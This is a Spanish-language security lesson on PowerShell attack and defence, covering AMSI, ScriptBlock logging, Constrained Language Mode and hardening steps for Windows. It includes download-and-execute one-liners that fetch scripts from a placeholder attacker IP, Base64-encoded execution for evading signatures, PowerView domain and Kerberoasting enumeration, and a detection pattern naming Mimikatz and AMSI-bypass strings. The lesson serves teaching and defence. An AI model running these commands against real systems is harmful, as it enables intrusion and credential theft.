Aprende › Cloud, APIs, forense y más

PowerShell ofensivo y defensivo: AMSI, ScriptBlock logging y constrained language mode

· 11 min de lectura

Aprende cómo los atacantes usan PowerShell para evadir defensas y cómo los defensores contraatacan con AMSI, ScriptBlock logging y Constrained Language Mode en entornos Windows.

PowerShell es, al mismo tiempo, la herramienta más potente que tiene un administrador de sistemas Windows y el vector de ataque favorito de los equipos ofensivos. Frameworks como PowerSploit, Empire y Covenant demuestran que un atacante puede hacer casi cualquier cosa sin tocar disco, ejecutando todo en memoria a través de cmdlets y scripts .ps1. Es la undécima lección de la Tanda 8.

Pero Microsoft no se quedó de brazos cruzados. Con los años introdujo tres mecanismos de defensa que cambiaron las reglas del juego: AMSI (Antimalware Scan Interface), ScriptBlock logging y Constrained Language Mode. Entender estos tres pilares, tanto desde el lado ofensivo como del defensivo, es imprescindible para cualquier profesional de ciberseguridad que trabaje con entornos Windows.

Esta lección cubre técnicas ofensivas y defensivas sobre PowerShell. Practica únicamente en entornos autorizados: los laboratorios de whoami-labs como titancorp, orthrus y server-vault están diseñados para ello. Nunca ejecutes estas técnicas en sistemas ajenos sin permiso explícito.

Qué es PowerShell y por qué importa en seguridad#

PowerShell es un shell de línea de comandos y un lenguaje de scripting basado en .NET, incluido por defecto en todas las versiones de Windows desde Windows 7. A diferencia de cmd.exe, PowerShell tiene acceso directo al framework .NET, al registro de Windows, a WMI, a COM objects y a las APIs del sistema operativo.

Arquitectura de AMSI: cómo PowerShell envía cada script al motor antimalware antes de ejecutarlo
Arquitectura de AMSI: cómo PowerShell envía cada script al motor antimalware antes de ejecutarlo

Para un administrador, esto significa automatización total: gestionar Active Directory, configurar GPOs, desplegar software, todo desde scripts. Para un atacante, significa exactamente lo mismo pero con fines opuestos: enumerar usuarios de dominio, volcar credenciales, moverse lateralmente y establecer persistencia, todo sin compilar un solo binario ni escribir nada en disco.

La clave está en que PowerShell opera en memoria. Un script descargado con IEX (New-Object Net.WebClient).DownloadString('http://...') se ejecuta directamente en el proceso de PowerShell sin dejar archivo en el sistema de archivos. Esto lo convierte en el vehículo perfecto para ataques fileless.

Por qué PowerShell es el arma favorita del atacante#

Hay varias razones por las que PowerShell domina el arsenal ofensivo en Windows:

  • Está en todas partes. No necesitas instalar nada: ya viene con el sistema operativo.
  • Acceso completo a .NET. Puedes llamar a cualquier clase del framework: System.Net.Sockets, System.Reflection, System.Runtime.InteropServices.
  • Ejecución en memoria. Los payloads no tocan disco, lo que dificulta la detección basada en firmas de archivos.
  • Interacción con AD. Cmdlets como Get-ADUser, Get-ADComputer y Get-ADGroupMember entregan el mapa completo del dominio.
  • Ofuscación sencilla. El lenguaje permite concatenar strings, codificar en Base64, usar aliases y modificar la sintaxis de formas que rompen firmas estáticas.

Frameworks ofensivos populares que usan PowerShell:

FrameworkUso principal
PowerSploitMódulos para reconocimiento, escalada, exfiltración
Empire (PowerShell Empire)C2 completo con agentes en memoria
NishangScripts para shells inversas, keyloggers, escalada
PowerViewEnumeración avanzada de Active Directory
Invoke-MimikatzVolcado de credenciales vía PowerShell

Vectores de ataque comunes#

Los atacantes usan PowerShell en múltiples fases del ataque:

VectorTécnicaEjemplo
Descarga y ejecuciónIEX con WebClientCarga de PowerView en memoria
Ejecución codificada-EncodedCommand con Base64Ocultar payload de AV
Bypass de política-ExecutionPolicy BypassSaltar restricción de scripts
Reflective loadingAssembly.Load desde byte arrayCargar Mimikatz sin disco
Downgrade attackForzar PowerShell v2Evadir AMSI y logging
WMI remotoInvoke-WmiMethodEjecución lateral sin PSRemoting

Un ejemplo clásico de descarga y ejecución en memoria:

# El atacante descarga y ejecuta un script en memoria (no toca disco)
powershell -ep Bypass -nop -w Hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://IP_ATACANTE/payload.ps1')"

Y un ejemplo de codificación en Base64 para evadir firmas:

# Codificar un comando
$cmd = "Get-Process | Where-Object {$_.ProcessName -eq 'lsass'}"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)

# Ejecutar codificado
powershell -EncodedCommand $encoded

AMSI: la barrera de Microsoft#

AMSI (Antimalware Scan Interface) es una API que Microsoft introdujo en Windows 10. Su función es interceptar el contenido de los scripts antes de que se ejecuten y enviarlo al motor antimalware instalado (Windows Defender u otro). Funciona con PowerShell, VBScript, JScript, macros de Office y .NET (desde .NET 4.8).

El flujo es el siguiente:

  1. El usuario o atacante ejecuta un script en PowerShell.
  2. PowerShell pasa el contenido al proveedor AMSI (amsi.dll).
  3. AMSI envía el contenido al motor antimalware registrado.
  4. El motor analiza el contenido (incluso después de desofuscar en runtime).
  5. Si detecta malware, AMSI lo bloquea antes de la ejecución.

Esto es crítico: AMSI ve el script ya desofuscado. Si el atacante codificó su payload en Base64 y PowerShell lo decodifica antes de ejecutar, AMSI analiza la versión decodificada. Esto rompió muchas técnicas de evasión que dependían de ofuscación simple.

Cómo intentan evadir AMSI los atacantes#

Las técnicas de evasión de AMSI han evolucionado con los años:

  • Patching en memoria: sobrescribir la función AmsiScanBuffer en amsi.dll dentro del proceso actual para que siempre devuelva un resultado limpio.
  • Reflection: usar reflexión .NET para modificar campos internos de la clase AmsiUtils.
  • PowerShell v2 downgrade: forzar PowerShell 2.0 (si está instalado), que no tiene integración con AMSI.
  • Ofuscación avanzada: generar variantes del payload que no coincidan con firmas conocidas.
  • CLR hooking: interceptar llamadas a nivel del Common Language Runtime.

Cómo fortalece AMSI un defensor#

  • Mantener Windows Defender actualizado (las firmas de AMSI se actualizan constantemente).
  • Desinstalar PowerShell v2: Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root.
  • Monitorizar Event ID 1116 de Windows Defender (detección AMSI).
  • Usar soluciones EDR que integren AMSI para análisis de comportamiento, no solo firmas.

ScriptBlock logging: ver todo lo que se ejecuta#

ScriptBlock logging es la capacidad de PowerShell (desde v5.0) de registrar el contenido completo de cada bloque de script ejecutado en el log de eventos de Windows. Esto incluye scripts desofuscados, comandos interactivos y código generado dinámicamente.

Los Event IDs relevantes:

Event IDLogQué registra
4104Microsoft-Windows-PowerShell/OperationalContenido del ScriptBlock ejecutado
4103Microsoft-Windows-PowerShell/OperationalEntrada y salida de módulos (Module logging)
4688SecurityCreación de proceso (con command line auditing)
800Windows PowerShellDatos del pipeline execution

Para habilitar ScriptBlock logging vía GPO:

Computer Configuration → Administrative Templates → Windows Components →
  Windows PowerShell → Turn on PowerShell Script Block Logging → Enabled

O vía registro:

# Habilitar ScriptBlock logging
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1

Una vez habilitado, cada script que se ejecute queda registrado. Si un atacante ejecuta Invoke-Mimikatz, el Event ID 4104 contendrá el código completo del script, incluso si fue descargado y ejecutado en memoria. Esto es oro para el equipo de respuesta a incidentes.

Qué buscar en los logs#

# Buscar ScriptBlocks sospechosos en el log de PowerShell
Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'
    Id = 4104
} | Where-Object {
    $_.Message -match 'Invoke-Mimikatz|Invoke-Expression|DownloadString|AmsiUtils|Net.WebClient'
} | Select-Object TimeCreated, Message | Format-List

Constrained Language Mode#

Constrained Language Mode (CLM) es un modo de operación de PowerShell que restringe qué elementos del lenguaje están disponibles. En CLM, PowerShell bloquea el acceso a tipos .NET arbitrarios, COM objects, Add-Type y otras funcionalidades que los atacantes necesitan.

Para verificar el modo actual:

$ExecutionContext.SessionState.LanguageMode
# FullLanguage     → sin restricciones (por defecto)
# ConstrainedLanguage → restringido

CLM por sí solo no sirve de mucho: un atacante puede abrir otra instancia de PowerShell que arranque en FullLanguage. CLM solo es efectivo cuando se combina con una política de control de aplicaciones:

  • AppLocker: permite definir reglas de ejecución basadas en path, publisher o hash. Cuando AppLocker está activo con política de scripts, PowerShell entra automáticamente en CLM para scripts no firmados.
  • WDAC (Windows Defender Application Control): más robusto que AppLocker, opera a nivel de kernel. Cuando WDAC está configurado, PowerShell entra en CLM para todo código no autorizado.

Qué bloquea CLM#

OperaciónFullLanguageConstrainedLanguage
Cmdlets básicos (Get-Process, Get-Service)PermitidoPermitido
Tipos .NET arbitrarios ([System.Net.Sockets.TcpClient])PermitidoBloqueado
Add-Type (compilar C# inline)PermitidoBloqueado
COM objects (New-Object -ComObject)PermitidoBloqueado
Invoke-Expression con código complejoPermitidoRestringido
Scripts firmados por publisher de confianzaPermitidoPermitido

Explotación y defensa en un laboratorio#

En los laboratorios de whoami-labs como titancorp u orthrus, puedes practicar estas técnicas en un entorno seguro. Aquí tienes un flujo típico:

Paso 1: comprobar las defensas#

Desde tu máquina atacante, tras obtener acceso inicial al objetivo Windows:

# Verificar versión de PowerShell
$PSVersionTable.PSVersion

# Verificar si AMSI está activo (probar con string conocida)
# Si devuelve error "This script contains malicious content", AMSI funciona

# Verificar el modo de lenguaje
$ExecutionContext.SessionState.LanguageMode

# Verificar políticas de ejecución
Get-ExecutionPolicy -List

Paso 2: enumerar el dominio (si estás en FullLanguage)#

# Importar PowerView en memoria
IEX (New-Object Net.WebClient).DownloadString('http://IP_ATACANTE/PowerView.ps1')

# Enumerar usuarios del dominio
Get-DomainUser | Select-Object samaccountname, description

# Buscar SPNs para Kerberoasting
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname

Paso 3: verificar los logs como defensor#

# En el controlador de dominio, buscar actividad sospechosa
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 20 |
  Select-Object TimeCreated, @{N='Script';E={$_.Properties[2].Value.Substring(0,200)}}

Qué puede lograr un atacante#

EscenarioImpactoCondición
Enumeración completa del dominio ADMapa de usuarios, grupos, GPOs, trustsPowerShell + acceso al dominio
Volcado de credenciales en memoriaHashes NTLM, tickets KerberosAMSI deshabilitado + privilegios locales
Movimiento lateral sin binariosEjecución remota vía WinRM o WMICredenciales válidas + red interna
Persistencia filelessScheduled tasks, WMI subscriptionsPrivilegios de administrador local
Exfiltración de datosEnvío por HTTPS, DNS, ICMPAcceso a red externa

Cómo se defiende un entorno real#

Capas de defensa en PowerShell: AMSI intercepta scripts, ScriptBlock logging registra todo, CLM restringe el lenguaje
Capas de defensa en PowerShell: AMSI intercepta scripts, ScriptBlock logging registra todo, CLM restringe el lenguaje

La defensa efectiva contra el abuso de PowerShell requiere capas. Ningún control solo es suficiente.

Configuración vulnerable (por defecto en muchos entornos):

# Sin ScriptBlock logging
# AMSI activo pero sin EDR que lo complemente
# FullLanguage mode (sin AppLocker ni WDAC)
# PowerShell v2 instalado
# Execution policy como única "protección"

Configuración defendida:

# 1. ScriptBlock logging habilitado
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1

# 2. Module logging habilitado
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1

# 3. Transcription habilitada (graba sesiones completas a archivo)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "EnableTranscribing" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "OutputDirectory" -Value "C:\PSTranscripts"

# 4. PowerShell v2 desinstalado
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

# 5. AppLocker o WDAC para forzar CLM
# (requiere GPO y configuración adicional)

Además, los logs de PowerShell deben enviarse a un SIEM centralizado. De nada sirve registrar si el atacante borra los logs locales.

Errores comunes al defenderse#

  • Confiar solo en la Execution Policy. Es una protección contra errores accidentales, no una barrera de seguridad. Se salta con -ExecutionPolicy Bypass.
  • No desinstalar PowerShell v2. Mientras exista, el atacante puede hacer downgrade y evadir AMSI y logging.
  • Habilitar logging sin monitorizar. ScriptBlock logging genera eventos, pero si nadie los revisa ni hay alertas configuradas, no sirve.
  • Bloquear powershell.exe sin bloquear alternativas. Herramientas como PowerShell ISE, pwsh.exe (PowerShell 7) y lenguajes .NET alternativos pueden ejecutar el mismo código.
  • No enviar los logs a un SIEM. Si los logs solo están en el host comprometido, el atacante los borra.
  • Ignorar System.Management.Automation.dll. Los atacantes pueden cargar el motor de PowerShell dentro de un proceso propio (runspace) sin usar powershell.exe.

Preguntas frecuentes#

Si desinstalo PowerShell, estoy seguro?#

No. PowerShell no se puede desinstalar realmente de Windows moderno (está integrado en el sistema). Además, un atacante puede cargar el ensamblado System.Management.Automation.dll directamente desde .NET sin necesidad del ejecutable powershell.exe. La estrategia correcta es monitorizar y restringir, no intentar eliminar.

AMSI protege contra todo?#

No. AMSI es una capa más. Un atacante con privilegios de administrador local puede parchear AMSI en memoria para su proceso. Por eso es necesario combinarlo con EDR, ScriptBlock logging y CLM.

Constrained Language Mode se puede saltar?#

Si CLM está aplicado solo a nivel de sesión (sin AppLocker ni WDAC), sí. Un atacante puede abrir un nuevo proceso de PowerShell en FullLanguage. CLM solo es robusto cuando lo impone una política de control de aplicaciones a nivel de sistema.

Qué diferencia hay entre PowerShell 5.1 y PowerShell 7?#

PowerShell 5.1 (Windows PowerShell) viene con el sistema operativo y corre sobre .NET Framework. PowerShell 7 (pwsh.exe) es multiplataforma, corre sobre .NET Core y se instala por separado. Ambos soportan AMSI y ScriptBlock logging, pero tienen procesos independientes. Un defensor debe monitorizar ambos.

Qué Event ID miro primero?#

El 4104 (ScriptBlock logging). Te muestra el contenido completo del script ejecutado, ya desofuscado. Es la fuente más valiosa para detectar actividad maliciosa en PowerShell.

Cómo detecto un downgrade a PowerShell v2?#

El Event ID 400 del log Windows PowerShell registra el inicio del motor con la versión utilizada. Si ves EngineVersion=2.0, alguien está usando la versión antigua. Otra señal: el proceso se lanzó con el flag -Version 2.

Resumen#

  • PowerShell es la herramienta más usada por atacantes en Windows porque permite ejecución en memoria, acceso completo a .NET y está en todos los equipos.
  • AMSI intercepta scripts antes de ejecutarse y los envía al antimalware, pero puede parchearse en memoria.
  • ScriptBlock logging (Event ID 4104) registra el contenido completo de cada script ejecutado, incluso los desofuscados en runtime.
  • Constrained Language Mode bloquea el acceso a tipos .NET y COM objects, pero solo es efectivo con AppLocker o WDAC.
  • La defensa real combina las tres capas más la eliminación de PowerShell v2 y el envío de logs a un SIEM centralizado.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría